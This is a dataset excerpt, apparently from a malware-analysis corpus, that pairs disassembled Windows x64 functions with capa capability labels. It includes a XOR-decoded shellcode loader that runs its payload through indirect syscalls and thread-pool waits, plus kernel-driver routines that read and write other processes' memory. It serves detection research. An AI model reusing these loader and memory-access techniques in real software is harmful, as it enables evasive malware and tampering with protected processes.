joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400012a0
Capabilities:
Encode data using xor

Disassembly:
movdqa xmm2, xmmword [str.7777777777777777_]
lea rdx, [0x140005050]
xor eax, eax
mov ecx, pe_nt_image_headers64
nop word [rax + rax]
movdqu xmm0, xmmword [rax + rdx]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax + rdx], xmm1
movdqu xmm0, xmmword [rax + rdx + 0x10]
movdqa xmm1, xmm2
pxor xmm0, xmm2
movdqu xmmword [rax + rdx + 0x10], xmm0
movdqu xmm0, xmmword [rax + rdx + 0x20]
pxor xmm0, xmm2
movdqu xmmword [rax + rdx + 0x20], xmm0
movdqu xmm0, xmmword [rax + rdx + 0x30]
pxor xmm1, xmm0
movdqu xmmword [rax + rdx + 0x30], xmm1
add rax, 0x40
cmp rax, rcx
jl 0x1400012c0
nop
xor byte [rcx + rdx], 0x37
inc rcx
cmp rcx, 0x115
jl 0x140001310
mov rax, rdx
ret

Function at 0x140001330
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x140005018]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtAddBootEntry
mov dword [rsp + 0x30], 0
mov rcx, rax
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
lea rsi, [rax + 0x12]
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rdi, rax
call fcn.1400012a0
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x38], 0
mov rcx, rbp
mov qword [rsp + 0x48], 8
lea r8, str.ZwAllocateVirtualMemory
mov rbx, rax
call section..text
mov ecx, dword [rsp + 0x30]
mov rdx, rsi
call fcn.1400014d0
xor r8d, r8d
mov dword [rsp + 0x28], 4
lea r9, [rsp + 0x48]
mov dword [rsp + 0x20], 0x1000
lea rdx, [rsp + 0x38]
lea rcx, [r8 - 1]
call fcn.1400014f3
mov r8, qword [rsp + 0x48]
mov rdx, rbx
mov rcx, qword [rsp + 0x38]
call fcn.140001270
lea r8, str.NtProtectVirtualMemory
mov rcx, rbp
lea rdx, [rsp + 0x30]
call section..text
mov ecx, dword [rsp + 0x30]
mov rdx, rsi
call fcn.1400014d0
lea rax, [rsp + 0x50]
mov r9d, 0x20
lea r8, [rsp + 0x48]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x38]
mov rcx, 0xffffffffffffffff
call fcn.1400014f3
lea rdx, str.TpAllocWait
mov qword [rsp + 0x40], 0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
call rax
lea rdx, str.TpSetWait
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x40]
xor r8d, r8d
mov rdx, rdi
call rax
lea r8, str.NtWaitForSingleObject
mov rcx, rbp
lea rdx, [rsp + 0x30]
call section..text
mov ecx, dword [rsp + 0x30]
mov rdx, rsi
call fcn.1400014d0
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call fcn.1400014f3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140002d10
Capabilities:
Find process by pid

Disassembly:
push rbx
sub rsp, 0x50
mov qword [rsp + 0x70], rdi
mov rdi, r9
mov qword [rsp + 0x78], r12
xor r12d, r12d
mov qword [rsp + 0x48], r14
mov r14, rdx
mov qword [rsp + 0x40], r15
mov r15, r8
mov qword [rsp + 0x30], r12
test ecx, ecx
jne 0x140002d49
mov ebx, 0xc0000001
jmp 0x140002e06
movsxd rcx, ecx
lea rdx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov ebx, eax
test eax, eax
jne 0x140002e06
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x68], rsi
call fcn.140002c80
mov rcx, qword [rsp + 0x30]
mov rbp, rax
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rsi, r12
test rdi, rdi
je 0x140002df7
nop dword [rax + rax]
lea rdx, [rsi + r14]
mov rcx, rbp
call fcn.140002aa0
mov rdx, rax
test rax, rax
je 0x140002e37
and eax, 0xfff
mov qword [rsp + 0x38], r12
mov r8d, 0x1000
lea rcx, [rsi + r15]
sub r8, rax
mov r9d, 1
cmp r8, rdi
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
cmovae r8, rdi
call qword [sym.imp.ntoskrnl.exe_MmCopyMemory]
mov ebx, eax
mov rax, qword [rsp + 0x38]
sub rdi, rax
add rsi, rax
test ebx, ebx
jne 0x140002df7
test rax, rax
je 0x140002df7
test rdi, rdi
jne 0x140002d90
mov qword [rsp + 0x38], rsi
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x80]
mov eax, ebx
mov r15, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
mov r12, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x70]
test rdx, rdx
je 0x140002e31
mov rcx, qword [rsp + 0x38]
mov qword [rdx], rcx
add rsp, 0x50
pop rbx
ret
mov ebx, 0xc0000001
jmp 0x140002dfc
Function at 0x140002e40
Capabilities:
Find process by pid

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x50], rbp
mov rbp, r9
mov qword [rsp + 0x68], r12
mov r12, r8
mov qword [rsp + 0x30], r15
mov r15, rdx
mov qword [rsp + 0x20], 0
test ecx, ecx
jne 0x140002e75
mov ebx, 0xc0000001
jmp 0x140002f48
movsxd rcx, ecx
lea rdx, [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov ebx, eax
test eax, eax
jne 0x140002f48
mov rcx, qword [rsp + 0x20]
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x38], r14
call fcn.140002c80
mov rcx, qword [rsp + 0x20]
mov r14, rax
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor edi, edi
test rbp, rbp
je 0x140002f34
nop dword [rax + rax]
lea rdx, [rdi + r15]
mov rcx, r14
call fcn.140002aa0
mov rcx, rax
test rax, rax
je 0x140002f78
and eax, 0xfff
mov esi, 0x1000
sub rsi, rax
mov r8d, 4
cmp rsi, rbp
cmovae rsi, rbp
mov rdx, rsi
call qword [sym.imp.ntoskrnl.exe_MmMapIoSpaceEx]
mov rbx, rax
test rax, rax
je 0x140002f71
lea rdx, [rdi + r12]
mov r8, rsi
mov rcx, rax
call fcn.140003340
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_MmUnmapIoSpace]
xor ebx, ebx
lea rax, [rdi + rsi]
sub rbp, rsi
mov rdi, rax
test rsi, rsi
je 0x140002f34
test rbp, rbp
jne 0x140002ec0
mov qword [rsp + 0x20], rdi
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x58]
mov r14, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x70]
mov eax, ebx
mov r15, qword [rsp + 0x30]
mov r12, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x50]
test rdx, rdx
je 0x140002f6b
mov rcx, qword [rsp + 0x20]
mov qword [rdx], rcx
add rsp, 0x40
pop rbx
ret
mov ebx, 0xc0000001
jmp 0x140002f34
mov ebx, 0xc0000001
jmp 0x140002f39

Function at 0x140002f80
Capabilities:
Find process by pid

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rdx
mov ecx, ecx
lea rdx, [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x140002fa9
test rbx, rbx
je 0x140002fa1
mov dword [rbx], eax
xor eax, eax
add rsp, 0x20
pop rbx
ret
mov rax, qword [rsp + 0x40]
add rsp, 0x20
pop rbx
ret
Function at 0x140002fc0
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor edi, edi
lea r9, [rsp + 0x30]
xor r8d, r8d
mov dword [rsp + 0x30], edi
lea rdx, [rsp + 0x30]
mov ebx, edi
lea ecx, [rdi + 0x42]
call sub.ntoskrnl.exe_ZwQuerySystemInformation
cmp eax, 0xc0000004
jne 0x14000306c
test rbx, rbx
je 0x140003003
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov edx, dword [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rax
mov ecx, 0x42
mov rbx, rax
call sub.ntoskrnl.exe_ZwQuerySystemInformation
cmp eax, 0xc0000004
je 0x140002ff3
test rbx, rbx
je 0x14000306c
mov edx, dword [rbx]
test edx, edx
je 0x14000306c
lea rax, [rbx + 0x18]
nop
mov rcx, qword [rax - 0x10]
mov rsi, rcx
and rsi, 0xfffffffffffffffe
test cl, 1
je 0x140003062
cmp qword [rax - 8], 0x200000
jne 0x140003062
cmp dword [rax], 0x546e6f43
je 0x14000307e
inc edi
add rax, 0x18
cmp edi, edx
jb 0x140003040
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov rbx, qword [rsp + 0x38]
mov rax, rsi
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140004884
Capabilities:
Delete directory

Disassembly:
push rbp
push r15
xor rax, rax
push rax
push rax
sub rsp, 0x28
call fcn.140012b50
mov r15, qword [0x140020514]
cmp r15, 1
jne 0x140004953
push qword [0x140020604]
pop rcx
call fcn.14000dd04
mov r15, rax
and r15, r15
jle 0x1400048e9
mov rcx, qword [0x140020604]
call fcn.14000dd0c
mov rcx, qword [0x140020604]
call fcn.14000dd20
or rax, rax
je 0x1400048e9
mov rbp, qword [0x14002060c]
push qword [rbp + 0x10]
pop rcx
call fcn.14000e1bc
jmp 0x1400048c6
push qword [0x1400205f4]
pop rcx
call fcn.14000dd04
mov qword [rsp + 0x28], rax
mov r15, qword [rsp + 0x28]
and r15, r15
jle 0x140004953
push 5
push 0
push 1
push qword [0x1400205f4]
pop rcx
pop rdx
pop r8
pop r9
call fcn.140009060
mov rcx, qword [0x1400205f4]
call fcn.14000dd0c
mov rcx, qword [0x1400205f4]
call fcn.14000dd20
or rax, rax
je 0x140004953
mov rbp, qword [0x1400205fc]
push qword [rbp + 0x14]
pop rcx
call sub.KERNEL32.dll_RemoveDirectoryW
jmp 0x140004930
mov rax, 1
jmp 0x14000495f
add rsp, 0x38
pop r15
pop rbp
ret

Function at 0x140006b38
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.dll_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x14001f190]
call sub.KERNEL32.dll_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret

Function at 0x140007204
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.140007194
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021210]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020640]
jmp 0x140007240
cmp qword [rbx + 0x18], rdi
je 0x140007247
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140007237
jmp 0x140007261
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x140020640]
call fcn.1400123b8
lea rcx, [0x140021210]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xchg ebp, eax
cli
cmc
cmc
jmp rsi
sahf
Function at 0x140001740
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.140002570
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]

Function at 0x1400017b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007094]
mov rbx, rcx
test esi, esi
jle 0x1400018e0
mov rax, qword [0x140007098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400017fb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001885
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400017e0
mov rcx, rbx
call fcn.140002200
mov rdi, rax
test rax, rax
je 0x140001902
mov rax, qword [0x140007098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002340
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400018e7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000187e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001890
add dword [0x140007094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140007098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000187e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001740
nop dword [rax]
xor esi, esi
jmp 0x140001808
mov rax, qword [0x140007098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001740
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001740
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140001e70
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140001ecc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001ec3
test rsi, rsi
je 0x140001ec3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001ea8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002200
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004420]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002220
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002228
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002220
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000227d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002274
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002220
add rax, 0x28
cmp rax, r9
jne 0x140002260
xor eax, eax
ret

Function at 0x140002280
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004420]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000229f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400022a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000229f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002340
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004420]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000235f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002368
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002520
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov ecx, 2
mov r8d, 0x2c
lea rdx, str._stack_smashing_detected_:_terminated_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll__write
mov ecx, 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
test eax, eax
je 0x140002550
mov ecx, 2
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x1406440b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140644237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1406440e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406440c7
add dl, dl
jne 0x1406440ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14064414e
xor eax, eax
add dl, dl
jne 0x1406440fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140644205
add dl, dl
jne 0x14064410e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14064411b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140644128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140644135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140644142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1406440d6
mov eax, 1
add dl, dl
jne 0x14064415e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14064416b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140644153
sub eax, ebx
mov ebx, 1
jne 0x1406441a4
mov ecx, 1
add dl, dl
jne 0x140644186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140644193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14064417b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406440d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1406441c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406441cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406441b5
cmp eax, 0x7d00
jae 0x1406441f3
cmp eax, 0x500
jb 0x1406441ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406440d6
cmp eax, 0x7f
ja 0x1406441f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406440d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14064422a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1406440d6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400341c8
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x14004c350], eax
call fcn.140034c70
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x14004c350], 0
jne case.default.0x14003421e
mov ecx, 1
call fcn.140034c70
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
cli
xlatb
cmpsd dword [rsi], dword [rdi]
sub al, 0x57
invalid
Function at 0x140001080
Capabilities:
Find process by pid

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r14
sub rsp, 0x20
lea r14, [rsp + 0x28]
xor ebx, ebx
mov rsi, qword [r14]
mov rdi, rcx
mov qword [r14], rbx
cmp dword [rcx], 0x85b3e12
jne 0x1400010f1
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x1400010f1
mov rcx, rax
mov qword [r11 + 8], rbx
lea rdx, [r11 + 8]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1400010f1
call sub.ntoskrnl.exe_PsGetProcessSectionBaseAddress
mov rcx, rax
test rax, rax
je 0x1400010f1
mov rax, qword [rdi + 8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
jmp 0x1400010f6
mov ebx, 0xc0000001
mov rdi, qword [rsp + 0x48]
mov eax, ebx
mov rbx, qword [rsp + 0x38]
mov qword [r14], rsi
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret

Function at 0x140001114
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
lea r14, [rsp + 0x38]
xor ebx, ebx
mov rbp, qword [r14]
mov rsi, rcx
mov qword [r14], rbx
cmp dword [rcx], 0x85b3e12
je 0x140001148
mov ebx, 0xc0000001
jmp 0x1400011f5
xor r8d, r8d
mov dword [rsp + 0x40], ebx
lea r9, [rsp + 0x40]
mov rdi, rbx
lea rdx, [rsp + 0x40]
lea ecx, [r8 + 0x42]
call sub.ntoskrnl.exe_ZwQuerySystemInformation
cmp eax, 0xc0000004
jne 0x1400011f5
test rdi, rdi
je 0x140001180
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov edx, dword [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x40]
mov rdx, rax
mov ecx, 0x42
mov rdi, rax
call sub.ntoskrnl.exe_ZwQuerySystemInformation
cmp eax, 0xc0000004
je 0x140001170
test rdi, rdi
je 0x1400011f5
mov r9d, dword [rdi]
mov edx, ebx
test r9d, r9d
je 0x1400011ea
lea rcx, [rdi + 8]
mov r8, qword [rcx]
and r8, 0xfffffffffffffffe
test byte [rcx], 1
je 0x1400011df
cmp qword [rcx + 8], 0x200000
jne 0x1400011df
cmp dword [rcx + 0x10], 0x546e6f43
je 0x14000120d
inc edx
add rcx, 0x18
cmp edx, r9d
jb 0x1400011c0
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov qword [r14], rbp
mov eax, ebx
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
mov rax, qword [rsi + 8]
mov qword [rax], r8
jmp 0x1400011f5
Function at 0x140001218
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x20
lea r15, [rsp + 0x48]
xor edi, edi
mov rbp, qword [r15]
mov rsi, rcx
mov qword [r15], rdi
cmp dword [rcx], 0x85b3e12
jne 0x1400012d3
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x1400012d3
mov rcx, rax
mov qword [rsp + 0x50], rdi
lea rdx, [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x1400012d3
call fcn.1400012f0
mov rcx, qword [rsp + 0x50]
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rdx, qword [rsi + 8]
mov rcx, rbx
mov r14, qword [rsi + 0x18]
call fcn.140001558
mov r10, rax
test rax, rax
je 0x1400012d3
mov rdx, qword [rsi + 0x10]
lea r9, [rsp + 0x58]
and eax, 0xfff
mov qword [rsp + 0x58], rdi
mov ecx, 0x1000
sub ecx, eax
cmp ecx, r14d
cmovl r14d, ecx
mov rcx, r10
movsxd r8, r14d
cmp byte [rsi + 0x20], dil
je 0x1400012cc
call fcn.140001768
jmp 0x1400012d8
call fcn.140001518
jmp 0x1400012d8
mov edi, 0xc0000001
mov rbx, qword [rsp + 0x60]
mov eax, edi
mov qword [r15], rbp
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001070
Capabilities:
Accept command line arguments

Disassembly:
push rbp
push rsi
push r14
mov eax, 0x1050
call fcn.140007610
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1030], rax
mov r14d, r8d
mov rbp, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
or rcx, 0xffffffffffffffff
nop word [rax + rax]
inc rcx
cmp word [rax + rcx*2], 0
jne 0x1400010b0
mov qword [rsp + 0x1048], rbx
mov qword [rsp + 0x1040], rdi
test rcx, rcx
je 0x14000112e
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rbx, rax
test rax, rax
je 0x14000112e
cmp dword [rsp + 0x20], 2
jne 0x140001125
mov rdi, qword [rbx + 8]
add rbx, 8
lea rdx, str._regserver
mov rcx, rdi
call fcn.140001718
test eax, eax
je 0x14000111a
lea rdx, str._unregserver
mov rcx, rdi
call fcn.140001718
test eax, eax
jne 0x140001125
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140001162
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
call qword [sym.imp.COMCTL32.dll_InitCommonControls]
lea rcx, [rsp + 0x30]
mov r9d, r14d
mov r8, rbp
mov rdx, rsi
call qword [sym.imp.USER32.dll_wsprintfW]
lea r8, [0x140012960]
lea rdx, [rsp + 0x30]
mov r9d, InitCommonControls
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rdi, qword [rsp + 0x1040]
mov rbx, qword [rsp + 0x1048]
mov rcx, qword [rsp + 0x1030]
xor rcx, rsp
call fcn.140001650
add rsp, 0x1050
pop r14
pop rsi
pop rbp
ret
Function at 0x1400034dc
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140003344